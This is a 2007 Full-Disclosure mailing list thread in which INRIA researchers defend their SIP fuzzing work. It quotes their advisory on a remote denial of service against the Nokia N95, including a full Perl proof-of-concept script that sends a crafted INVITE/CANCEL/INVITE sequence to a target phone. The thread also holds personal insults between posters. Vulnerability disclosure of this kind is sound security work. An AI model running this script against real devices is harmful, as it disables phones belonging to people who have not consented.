Date: Thu, 06 Dec 2007 09:45:52 +0100
From: Humberto Abdelnur <Humberto.Abdelnur@...ia.fr>
To: full-disclosure@...ts.grok.org.uk
Subject: Re: Nokia N95 cellphone remote DoS using the SIP
 Stack


> I think you're missing his point. In fact I might be too but my take 
> on it is this.... you'd think two PhD's and a PhD student might be 
> able to do something a little more advanced than running a fuzzer and 
> reporting DoS conditions.
Well, in fact as part of our research we are working on smart techniques 
of how to fuzz. So, whenever we come up with something new, the first 
thing to do is to test it either if it works or not. Therefore, the 
vulnerabilities we had found.
> Do you guys even investigate the DoS to determine the root cause? If 
> ye did then that might be OK and considered PhD level. I would think 
> that a PhD level interpretation of this area might be for 
> instance..... running a fuzzer against a hardware phone and then 
> getting some form of code execution. Yes? No? Maybe? 
We do not investigate the cause, as soon as we find a vulnerability we 
try to see if we can replay it and later send it to the appropriate 
company to allows them to fix it. As i told you before, the 
vulnerabilities found are just experimental results of our advances.
> It looks to me like someone one of you guys built a VoIP fuzzer (is it 
> even a VoIP fuzzer or just SIP?)
In fact, KiF can be split in two (in a very simplistic way).
    1) A Generic Syntax Fuzzer able just to generate/parse messages. It 
takes a ABNF as input and it does the rest respecting or not the ABNF 
grammar.
    2) A Statefull fuzzer able to keep track of the remote state machine 
and a local testing state machine.

So, the first item can be useful for any non-flat ABNF grammar (e.g. TCP 
won't work). Usually those grammars can be found at the RFCs. So, 
different to most others fuzzers the extensibility and precision is 
easily achieve. In terms of the second item, it is totally dependent of  
SIP at the moment,  mostly due to the need of Dialog and Transaction 
identification. However, we expect to generalize that in a middle term 
future.
> and for the remainder of your doctoral studies you will be purchasing 
> equipment and hitting the 'Fuzz' button. As I said, if you're gonna be 
> submitting this kind of stuff to every list you can then at least 
> investigate the root cause, maybe then it'll provide some slightly 
> more interesting reading and perhaps benefit your thesis.
I already replied to it.

Concerning to the comments from Reepex, i apologize for all these mails 
that you received from us, but thanks to this list we had plenty of good 
feedbacks from our work. As the purpose of the list is between others to 
disclose vulnerabilities, either we will have that permanent fights or 
simply you can ignore us. However, thanks for your comments of how to 
write better perl code (i can accepts comment of how to write better 
English as well :). Either ways, i will take a look on the perl advises 
before writing a new script. As Radu said earlier on, we are not expert 
on perl and personally not a big fan. The idea was just to show how to 
replay the problem.

Humberto Abdelnur
Phd student ;)
> nnp
>
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> Comment: http://firegpg.tuxfamily.org
>
> iD8DBQFHV5DhbP10WPHfgnQRAtMNAJ43x7ZJDyVn0njZi2zTMQIQQoB6bgCeK8k7
> addmL2c5Jm4LrlQvahnBrgY=
> =YX4u
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> On Dec 5, 2007 11:57 AM, <state@...ia.fr <mailto:state@...ia.fr>> wrote:
>
>     hi Reepex,
>
>     I do not understand why are frustrated about a computer science
>     degree. Maybe,
>     someone got dropped out of a degree programm and some
>     psychological trauma gets
>      activated when seeing a Ph.D?
>
>     If you like it or not, in order to get a computer science degree,
>     you will have
>     to take classes, and  most classes are taught by Ph.Ds.
>
>     I will not argue with you on why I use the Ph.D in my signature,
>     but if you
>     really want to know, look at our research papers published in academic
>     journals/conferences. (If you do not find them, I can send them to
>     you).
>     If you will ever understand the contents, then you will understand
>     what are our
>     credentials..:) This will probably never happen.
>
>     At least, I use a signature and a real name and do not hide behind
>     a gmail
>     account.
>
>     Meanwhile try yourself to find at least one vulnerability and
>     enjoy Perl
>     programming, it seemes your computer science skills are somehow in
>     this area :)
>
>
>     Greetings
>
>
>
>
>     RS
>
>
>     Selon reepex <reepex@...il.com <mailto:reepex@...il.com>>:
>
>     > So almighty Phd what is your thesis exactly?
>     >
>     > To me it seems to be  'how to run a fuzzer then write crappy
>     perl  scripts
>     > to exploit DoS conditions'
>     >
>     > does this properly summarize your phd credentials?
>     >
>     > I guess  you could tack on 'after writing the crappy scripts,
>     flood mailing
>     > lists with our crap, and get made fun of'
>     >
>     > I am sure you will serve the academic community great one day
>     when teach
>     > "hacking" classes revolving around the latest editions of
>     hacking exposed
>     >
>     >
>     >
>     > On Dec 5, 2007 11:05 AM, Radu State < State@...ia.fr
>     <mailto:State@...ia.fr>> wrote:
>     >
>     > >  Nokia N95 cellphone remote DoS using the SIP Stack
>     > >
>     > >
>     > >
>     > > Severity:
>     > >
>     > > High – Denial of Service
>     > >
>     > >
>     > >
>     > > Hardware:
>     > >
>     > > Nokia N95
>     > >
>     > >
>     > >
>     > > Firmware:
>     > >
>     > > Tested version: Nokia RM-159 V 12.0.013
>     > >
>     > >
>     > >
>     > > Notification:
>     > >
>     > > Vulnerability found: 11 September 2007
>     > >
>     > > Contact Nokia Support: 12 September 2007 / None reply Contact
>     Nokia
>     > > Security Support: 19 September 2007 / None reply
>     > >
>     > >
>     > >
>     > > Vulnerability Synopsis:
>     > >
>     > > If the device has the SIP Phone client activated, a sequence
>     of SIP
>     > > messages turn the device in an inconsistent state where the
>     user is not
>     > able
>     > > to operate it anymore until it reboots.
>     > >
>     > >
>     > >
>     > > The sequence of messages consists in 2 different SIP Dialogs
>     where the
>     > > first initiates an INVITE transaction but immediately closes
>     it (in an
>     > > anticipated manner). While, the second transaction initiates a
>     normal
>     > INVITE
>     > > transaction that trigger the vulnerability of the target.
>     > >
>     > >
>     > >
>     > > The sequence of messages is illustrated below.
>     > >
>     > >
>     > >
>     > > X ------------------------- INVITE ----------------------->
>     Nokiav12
>     > >
>     > > X <---------------------- 100 Trying ----------------------
>     Nokiav12
>     > >
>     > > X ------------------------- CANCEL ----------------------->
>     Nokiav12
>     > >
>     > > X <----------------- OK (to the Cancel) -------------------
>     Nokiav12
>     > >
>     > >  X <---------------- 487 Request Terminated ----------------
>     Nokiav12
>     > >
>     > >
>     > >
>     > > --------New Dialog--------
>     > >
>     > >
>     > >
>     > > X ------------------------- INVITE ----------------------->
>     Nokiav12
>     > >
>     > > X <---------------------- 100 Trying ----------------------
>     Nokiav12
>     > >
>     > > X <---------------------- 180 Trying ----------------------
>     Nokiav12
>     > >
>     > >
>     > >
>     > > ---- The device does not work properly anymore ----
>     > >
>     > >
>     > >
>     > > Impact:
>     > >
>     > > A remote entity can take down all the services of the cell phone
>     > >
>     > >
>     > >
>     > > Resolution:
>     > >
>     > > As we did not get any proper reply from Nokia about the
>     subject, the best
>     > > way will be to disable the SIP Client
>     > >
>     > >
>     > >
>     > > Credits:
>     > >
>     > > Humberto J. Abdelnur (Ph.D Student)
>     > >
>     > > Radu State (Ph.D)
>     > >
>     > > Olivier Festor (Ph.D)
>     > >
>     > >
>     > >
>     > > This vulnerability was identified by the Madynes research team
>     at INRIA
>     > > Lorraine, using KiF the Madynes VoIP fuzzer.
>     > >
>     > > http://madynes.loria.fr/
>     > >
>     > >
>     > >
>     > >
>     > >
>     > > Proof of Concept:
>     > >
>     > >
>     > >
>     > > A perl script (nokiav12.pl) is attached to this mail. Before
>     launching
>     > >
>     > > it, the SIP phone has to be initialed in the target device
>     > >
>     > >
>     > >
>     > > Command:
>     > >
>     > > perl nokiav12.pl <dst_IP> <username> <SourceIp> <SourceUsername>
>     > >
>     > >
>     > >
>     > > Eg. perl nokiav12.pl 192.168.1.119 <http://192.168.1.119>
>     lupilu 192.168.1.2 <http://192.168.1.2> tucu
>     > >
>     > >
>     > >
>     > >
>     > >
>     > > #!/usr/bin/perl
>     > >
>     > >
>     > >
>     > > ##################################################
>     > >
>     > > # Vulnerabily discovered using KiF ~ Kiph #
>     > >
>     > > # #
>     > >
>     > > # Authors: #
>     > >
>     > > # Humberto J. Abdelnur (Ph.D Student) #
>     > >
>     > > # Radu State (Ph.D) #
>     > >
>     > > # Olivier Festor ( Ph.D) #
>     > >
>     > > # #
>     > >
>     > > # Madynes Team, LORIA - INRIA Lorraine #
>     > >
>     > > # http://madynes.loria.fr #
>     > >
>     > > ##################################################
>     > >
>     > >
>     > >
>     > > use IO::Socket::INET;
>     > >
>     > > use String::Random;
>     > >
>     > >
>     > >
>     > > die "Usage $0 <targetIP> <targetUser> <attackerIP> <attackerUser>"
>     > >
>     > > unless ($ARGV[3]);
>     > >
>     > >
>     > >
>     > > $targetUser = $ARGV[1];
>     > >
>     > > $targetIP = $ARGV[0];
>     > >
>     > >
>     > >
>     > > $attackerUser = $ARGV[3];
>     > >
>     > > $attackerIP= $ARGV[2];
>     > >
>     > >
>     > >
>     > > $socket=new IO::Socket::INET->new(
>     > >
>     > > Proto=>'udp',
>     > >
>     > > PeerPort=>5060,
>     > >
>     > > PeerAddr=>$targetIP,
>     > >
>     > > LocalPort=>5060);
>     > >
>     > >
>     > >
>     > > $foo = new String::Random;
>     > >
>     > > $callid= $foo->randpattern("CCccnCn");
>     > >
>     > > $cseq = $foo->randregex('\d\d\d\d');
>     > >
>     > >
>     > >
>     > > $sdp = "v=0\r
>     > >
>     > > o=Lupilu 63356722367567875 63356722367567875 IN IP4 $attackerIP\r
>     > >
>     > > s=-\r
>     > >
>     > > c=IN IP4 $attackerIP\r
>     > >
>     > > t=0 0\r
>     > >
>     > > m=audio 49152 RTP/AVP 96 0 8 97 18 98 13\r
>     > >
>     > > a=sendrecv\r
>     > >
>     > > a=ptime:20\r
>     > >
>     > > a=maxptime:200\r
>     > >
>     > > a=fmtp:96 mode-change-neighbor=1\r
>     > >
>     > > a=fmtp:18 annexb=no\r
>     > >
>     > > a=fmtp:98 0-15\r
>     > >
>     > > a=rtpmap:96 AMR/8000/1\r
>     > >
>     > > a=rtpmap:0 PCMU/8000/1\r
>     > >
>     > > a=rtpmap:8 PCMA/8000/1\r
>     > >
>     > > a=rtpmap:97 iLBC/8000/1\r
>     > >
>     > > a=rtpmap:18 G729/8000/1\r
>     > >
>     > > a=rtpmap:98 telephone-event/8000/1\r
>     > >
>     > > a=rtpmap:13 CN/8000/1\r
>     > >
>     > > ";
>     > >
>     > >
>     > >
>     > > $sdplen= length $sdp;
>     > >
>     > >
>     > >
>     > > $msg = "INVITE sip:$targetUser\@$targetIP SIP/2.0\r
>     > >
>     > > Via: SIP/2.0/UDP $attackerIP;branch=z9hG4bK1\r
>     > >
>     > > From: <sip:$attackerUser\@$attackerIP>;tag=1\r
>     > >
>     > > To: <sip:$targetUser\@$targetIP>\r
>     > >
>     > > Call-ID: $callid\@$attackerIP\r
>     > >
>     > > CSeq: $cseq INVITE\r
>     > >
>     > > Max-Forwards: 70\r
>     > >
>     > > Contact: <sip:$attackerUser\@$attackerIP>\r
>     > >
>     > > Allow: INVITE, ACK, CANCEL, BYE, OPTIONS, REFER, SUBSCRIBE,
>     NOTIFY,
>     > >
>     > > MESSAGE\r
>     > >
>     > > Content-Type: application/sdp\r
>     > >
>     > > Content-Length: $sdplen\r
>     > >
>     > > \r
>     > >
>     > > $sdp";
>     > >
>     > > $socket->send($msg);
>     > >
>     > > $text = '';
>     > >
>     > > while (not $text =~ /^SIP\/2.0 100(.\r\n)*/ ){
>     > >
>     > > $socket->recv($text,1024,0);
>     > >
>     > > }
>     > >
>     > >
>     > >
>     > > $msg = "CANCEL sip:$targetUser\@$targetIP SIP/2.0\r
>     > >
>     > > Via: SIP/2.0/UDP $attackerIP;branch=z9hG4bK1\r
>     > >
>     > > From: <sip:$attackerUser\@$attackerIP>;tag=1\r
>     > >
>     > > To: <sip:$targetUser\@$targetIP>;tag=1\r
>     > >
>     > > Call-ID: $callid\@$attackerIP\r
>     > >
>     > > CSeq: $cseq CANCEL\r
>     > >
>     > > Max-Forwards: 70\r
>     > >
>     > > Content-Length: 0\r
>     > >
>     > > \r
>     > >
>     > > ";
>     > >
>     > > $socket->send($msg);
>     > >
>     > > time.sleep(1);
>     > >
>     > > $callid= $foo->randpattern("CCccnCn");
>     > >
>     > > $cseq = $foo->randregex('\d\d\d\d');
>     > >
>     > > $msg = "INVITE sip:$targetUser\@$targetIP SIP/2.0\r
>     > >
>     > > Via: SIP/2.0/UDP $attackerIP;branch=z9hG4bK2\r
>     > >
>     > > From: <sip:$attackerUser\@$attackerIP>;tag=2\r
>     > >
>     > > To: <sip:$targetUser\@$targetIP>\r
>     > >
>     > > Call-ID: $callid\@$attackerIP\r
>     > >
>     > > CSeq: $cseq INVITE\r
>     > >
>     > > Contact: <sip:$attackerUser\@$attackerIP>\r
>     > >
>     > > Max-Forwards: 70\r
>     > >
>     > > Allow: INVITE, ACK, CANCEL, BYE, OPTIONS, REFER, SUBSCRIBE,
>     NOTIFY,
>     > >
>     > > MESSAGE\r
>     > >
>     > > Content-Type: application/sdp\r
>     > >
>     > > Content-Length: $sdplen\r
>     > >
>     > > \r
>     > >
>     > > $sdp";
>     > >
>     > > $socket->send($msg);
>     > >
>     > >
>     > >
>     > >
>     > >
>     > >
>     > >
>     > > No virus found in this outgoing message.
>     > > Checked by AVG Free Edition.
>     > > Version: 7.5.503 / Virus Database: 269.16.14/1171 - Release Date:
>     > > 04/12/2007 19:31
>     > >
>     > > _______________________________________________
>     > > Full-Disclosure - We believe in it.
>     > > Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>     > > Hosted and sponsored by Secunia - http://secunia.com/
>     > >
>     >
>
>
>     _______________________________________________
>     Full-Disclosure - We believe in it.
>     Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>     Hosted and sponsored by Secunia - http://secunia.com/
>
>
>
>
> -- 
> http://www.smashthestack.org
> http://www.unprotectedhex.com
>
> ------------------------------------------------------------------------
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/

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